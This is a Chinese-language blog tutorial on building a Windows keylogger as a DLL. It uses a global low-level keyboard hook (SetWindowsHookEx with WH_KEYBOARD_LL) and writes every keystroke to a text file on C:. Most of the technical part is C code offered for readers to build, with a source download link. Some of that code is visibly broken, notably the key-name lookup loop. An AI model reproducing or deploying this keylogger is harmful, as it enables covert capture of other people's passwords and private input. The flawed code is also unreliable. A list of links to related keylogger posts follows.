说起键盘记录,想必很多朋友都用过网上流传的一些键盘记录软件吧,但是有没有想过自己写一个呢?也许你会想:会不会很复杂啊?我可以很负责的告诉你,写键盘记录是很简单的。你所需要的仅仅是懂得一些C语言的DLL编写,剩下的就是仔细的研究下MSDN上面的函数和一些耐心啦。下面就让我这小菜带大家来写属于自己的键盘记录器吧。
说道键盘记录,免不掉要说一下Windows的HOOK函数。通过搜索引擎,我们会得到好多关于hook的定义,这里就用比较通俗易懂的话来说下什么是hook。
Hook可以说就是一个间谍,假如你想要给你远在马来西亚的女朋友写一封信,你可以直接把写好的信投到邮局,然后由邮递员送到你女朋友手里。但是当hook这个阴险的间谍出现时,事情就完全发生了变化。Hook会赶在邮递员把你的信送出去之前进行一些你并不想要的操作,这样一来,你的信可能被修改、复制,甚至直接销毁。
那么按键消息也就像你的那封信一样,当在系统中安装了hook之后,就可以截取所有的键盘消息,从而对这些消息进行操作,还可以决定是否继续将这个消息传送到另外一个正在等候的程序。
通过上面简单的比喻,我想大家应该对hook有了一个简单的认识,下面我们来说下hook的分类以及一些具体的使用。
Hook可以分为下面几种,不同类型的钩子有着不同的作用:

            WH_CALLWNDPROC             WH_CALLWNDPROCRET             WH_CBT             WH_DEBUG            
           
            WH_KEYBOARD_LL             WH_MOUSE             WH_MOUSE_LL             WH_MSGFILTER            
           
            WH_FOREGROUNDIDLE             WH_GETMESSAGE             WH_JOURNALPLAYBACK             WH_JOURNALRECORD            
           
            WH_KEYBOARD             WH_SHELL             WH_SYSMSGFILTER            
           
           

这么多的钩子类型,我们在这一不去进行一一的解释,仅仅拿出我们需要的两个来说一下,其他的大家可以参阅MSDN上的SetWindowsHookEx函数的定义。
这里与我们键盘记录有关系的两个钩子类型是:WH_KEYBOARD和WH_KEYBOARD_LL,这两个都是键盘钩子,他们有什么区别呢?MSDN上面说的是WH_KEYBOARD会在应用程序调用GetMessage 或者PeekMessage函数并且有键盘消息(按下或者释放)的时候会调用相应的函数进行处理,WH_KEYBOARD_LL这个类型是只要有键盘输入事件的发生,它都会将键盘消息传给相应函数,而在我自己试验的时候发现WH_KEYBOARD类型的钩子只记录本程序的按键消息,对发送到其他程序的按键消息不予以响应。所以,下面我们就用WH_KEYBOARD_LL这个类型的底层键盘钩子,来记录计算机上所有的键盘输入。
下面我们看一下钩子使用: 首先我们要定义一个钩子的回调函数,这样当相应的系统消息传送给钩子的时候就会由这个回调函数进行处理。回调函数书写必须按照下面的语法: LRESULT CALLBACK HookProc (          int nCode,                  WPARAM wParam,                  LPARAM lParam ); HookProc是你自己定义的名字。nCode参数是Hook代码,Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型,每一种Hook都有自己的Hook代码特征字符集。wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。
我们这里用到的是WH_KEYBOARD_LL对应的回调函数LowLevelKeyboardProc,他的定义如下: LRESULT CALLBACK LowLevelKeyboardProc( int nCode,         // hook code WPARAM wParam, // message identifier LPARAM lParam  // message data ); 这里的wParam指的是键盘消息的标识,它的值可以是WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, 或者WM_SYSKEYUP.而lParam则指向一个KBDLLHOOKSTRUCT结构体,下面是KBDLLHOOKSTRUCT结构体的定义: typedef struct tagKBDLLHOOKSTRUCT {         DWORD         vkCode; //virtual-key         DWORD         scanCode;         DWORD         flags;         DWORD         time;         ULONG_PTR dwExtraInfo; } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT; 知道了上面的这些,我们就可以开始写我们的回调函数了:
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) {         KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;         LPCSTR log=GetKeyName(pStruct->vkCode);         if (wParam==WM_KEYDOWN)         {                 FILE *fl=fopen("C:\\zaroty.TXT","a+");                 fprintf(fl,"%s %s",log," ");                 fclose(fl);         }         return CallNextHookEx( CuhHook, nCode, wParam, lParam ); } 上面这段代码的意思就是当调用回调函数时,将虚拟码通过GetKeyName函数(后面会定义)转换为我们可以看懂的内容,然后当接收到键盘按下(WM_KEYDOWN)的消息时,就打开C:\\zaroty.TXT并将转换来的按键信息写入其中。写入完毕之后为了保证这个按键消息可以继续传递下去,调用CallNextHookEx函数将其传入消息队列。下面是CallNextHookEx函数的定义:
LRESULT CallNextHookEx( HHOOK hhk,          // 当前钩子的句柄,当我们安装钩子的时候会得到这个句柄。 int nCode,          // hook code passed to hook procedure WPARAM wParam,  // value passed to hook procedure LPARAM lParam       // value passed to hook procedure );
这样我们的回调函数就写完了,下面要做的就是安装钩子,让我们的回调函数起到作用。这时我们就要用到了SetWindowsHookEx函数,它的原型为:
HHOOK SetWindowsHookEx( int idHook,            // 钩子类型,我们这里是WH_KEYBOARD_LL HOOKPROC lpfn,         // 钩子的回调函数,即上面的LowLevelKeyboardProc HINSTANCE hMod,        // 指向调用钩子的程序的句柄,后面会讲到。 DWORD dwThreadId       // thread identifier );
按照上面的结构来安装我们自己的钩子
DLLEXPORT BOOL StartHook() {         CuhHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,g_hModule,0);         if (CuhHook!=NULL)         {                 return 1;         }         else         {                 return 0;         } } 下面是卸载钩子的函数:
DLLEXPORT BOOL StopHook() {         if (UnhookWindowsHookEx(CuhHook))         {                 return 1;         }         else         {                 return 0;         } } 因为我们要记录所有的键盘消息,所以需要的是一个系统全局钩子,那么我们就要将所需要的钩子函数写到一个外部的DLL里面,然后由其他的应用程序调用DLL内的一些函数来实现(为什么要这么麻烦?我也不知道,微软规定的 :-) )。还不懂得DLL编写的朋友可以去参看一下这两篇转载的文章:
http://hi.baidu.com/zaroty/blog/item/575bc6caa8832280c91768f2.html
http://hi.baidu.com/zaroty/blog/item/a64366fa4586fe8f9e5146f2.html
下面我们开始编写DLL
首先,打开VC6.0 新建一个空的Win32 Dynamic-Link Library工程,然后新建一个keyhook.c,写入如下代码:
//////////////////////////////////// //keyhook.c //作用:DLL主文件 //作者:zaroty //时间:2008年9月9日0:54:39 //博客:http://hi.badu.com/zaroty /////////////////////////////////// #define _WIN32_WINNT 0x0500 //底层钩子需要设置系统版本号 #include <windows.h> #include <stdio.h> #include "keyhook.h" #include "vKey.h" HHOOK CuhHook=NULL; HANDLE g_hModule; BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved)
{         switch(dwReason)         {         case DLL_PROCESS_ATTACH:            g_hModule = (HINSTANCE)hModule;            break;         case DLL_PROCESS_DETACH:             g_hModule=NULL;             break;         }         return TRUE; }
  上面的内容包含了所必需的头文件和一个DllMain函数,在DllMain中我们将调用DLL的程序的句柄保存为g_hModule,以方便SetWindowsHookEx函数使用。然后我们把上面的回调函数以及安装钩子和卸载钩子函数的代码都粘贴进去,我们的 .c文件就写到这里了。
下面我们添加一个头文件,声明我们需要导出的函数,方便其他程序的隐式调用。
//////////////////////////////////// //keyhook.h //作用:DLL头文件,声明导出的函数 //作者:zaroty //时间:2008年9月9日0:54:39 //博客:http://hi.badu.com/zaroty /////////////////////////////////// #define DLLEXPORT __declspec(dllexport) DLLEXPORT BOOL StartHook(); DLLEXPORT BOOL StopHook(); 写到这里,我们的程序基本上就写完了,仔细想想,我们是不是忘掉了什么东西呢?对,是那个转换虚拟码为按键信息的函数GetKeyName。下面我们新建一个头文件,将这个函数的内容写进去: struct VKeyInfo{         USHORT VKey;         LPCSTR VKname; }; #define AddVKey(VK, VKName)       {(VK), (VKName)} struct VKeyInfo vkey[]= {                 AddVKey(VK_BACK, "BACKSPACE"),                 AddVKey(VK_TAB, "TAB"),                 AddVKey(VK_CLEAR, "CLEAR"),                 AddVKey(VK_RETURN, "ENTER"), //省略大量的代码,具体可以下载源码查看。        };
LPCSTR GetKeyName(USHORT VKey) {         int i;         for(i = 0; i<sizeof(vkey); i++)         {                 if(VKey == vkey.VKey)                         return vkey.VKname;         } }

到此为止,我们的DLL程序就编写完毕了,下面要做的仅仅是编写一个简单的程序,调用DLL里面的StartHook函数就可以了,不会调用的朋友可以看一下上面提到的DLL编写教程。
本人菜鸟,没有上过几天学,文章写得比较乱,希望大家不要见怪。有什么疑问或者建议欢迎大家指出,谢谢!
相关链接:
DLL编写教程一
DLL编写教程二
源代码下载:(附件大于1M,好像上传不上。) http://www.mediafire.com/?654pev44nrd

[C语言(VC)] 打造自己的键盘记录器 (zaroty)的更多相关文章

  1. 安全之路 —— 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  2. 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  3. 警惕USB键盘记录器

    最近媒体报道了一种新型的能记录账号.密码输入的“USB键盘记录器”,引发网友关注,该设备看上去和普通U盘没什么区别,将其插入电脑USB接口,然后把键盘线和它连接,该设备就能够自动记录用户在电脑上输入的 ...

  4. wpf键盘记录器

    很简单的一个wpf键盘记录器 这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间 在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上 ...

  5. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  6. 6.文件所有权和权限----免费设置匿名----Windows键盘记录器----简介和python模块

    文件所有权和权限 touch --help cd Desktop mkdir Folder cd Folder clear touch Test1 Test2 Test3 Test4 ls ls -l ...

  7. VC++ 对话框程序响应键盘消息的处理方法的说明(非常重要)

    基于MFC对话框的应用程序在响应按键消息和热键方面都力不从心,CDialog类的消息循环中去掉了TranslateAccelerator函数,因此不能响应热键:同时由于对话框上可能有很多控件,且默认情 ...

  8. C语言基础三(敲打键盘、寻找资料,循环语句)

    有人在学C语言或者其他语言的时候,大家都会说逻辑思维的硬道理,认为没有逻辑思维的人走不远,那么小编这里借助简单的if...else... 英文解释if(如果),else(否则) ----------- ...

  9. C语言基础一(敲打键盘、寻找资料)

    事前声明一点:小编的所有材料都是基础,没有什么大的不同,您若觉得不错的话,可以互相探讨下,毕竟本人也是小雏鸟. 大家在学习C语言.C++类似的高端语言时候,往往都是为了学而学,殊不知为什么而学,或许更 ...

随机推荐

  1. tcp连接的3次握手

    http://www.tcpipguide.com/free/t_TCPConnectionEstablishmentProcessTheThreeWayHandsh-3.htm synchronou ...

  2. Windows 7/8 创建WIFI热点

    问题描述:很多人(特别是中国的大学生)都拥有一台联网的笔记本电脑,而手机使用的却是电信运营商提供的限制数量和速度的GPRS. 很多人不敢想象:联网的笔记本电脑能够将其流量以WiFi的形式共享出来供其它 ...

  3. 深入理解Java虚拟机 - 虚拟机内存划分

    在内存管理方面,Java相对于C和C++的区别在于Java具有内存动态分配以及垃圾收集技术,但平时我们很少去关注JVM的内存结构以及GC,在出现内存泄露或溢出方面的问题,排查工作将变得异常艰难.   ...

  4. Windows Phone 获取网络类型(GSM/CDMA/WIFI/Ethernet)

    一.判断是否有网络数据连接: 最基本的网络状态判断,如果没有网络连接,一切操作都进行不下去啦. Microsoft.Phone.Net.NetworkInformation.NetworkInterf ...

  5. mssql查找备注(text,ntext)类型字段为空的方法

    在sql语句中,如果查找某个文本字段值为空的,可以用select * from 表 where 字段='' ,但是如果这个字段数据类型是text或者ntext,那上面的sql语句就要出错了. 解决办法 ...

  6. Android 主题动态切换框架:Prism

    Prism(棱镜) 是一个全新的 Android 动态主题切换框架,虽然是头一次发布,但它所具备的基础功能已经足够强大了!本文介绍了 Prism 的各种用法,希望对你会有所帮助,你也可以对它进行扩展, ...

  7. HDU 3567 Eight II BFS预处理

    题意:就是八数码问题,给你开始的串和结束的串,问你从开始到结束的最短且最小的变换序列是什么 分析:我们可以预处理打表,这里的这个题可以和HDU1430魔板那个题采取一样的做法 预处理打表,因为八数码问 ...

  8. POJ 1661 Help Jimmy

    /*96655 's source code for M Memory: 8604 KB Time: 63 MS Language: G++ Result: Accepted */ #include& ...

  9. ASP.NET_验证控件(class0620)

    为什么使用验证控件 当需要让用户输入数据时,用户有可能输入不符合我们程序逻辑要求的信息,所以我们要对输入进行验证. 客户端验证(用户体验,减少服务器端压力) 服务器端验证(防止恶意攻击,客户端js很容 ...

  10. IO 图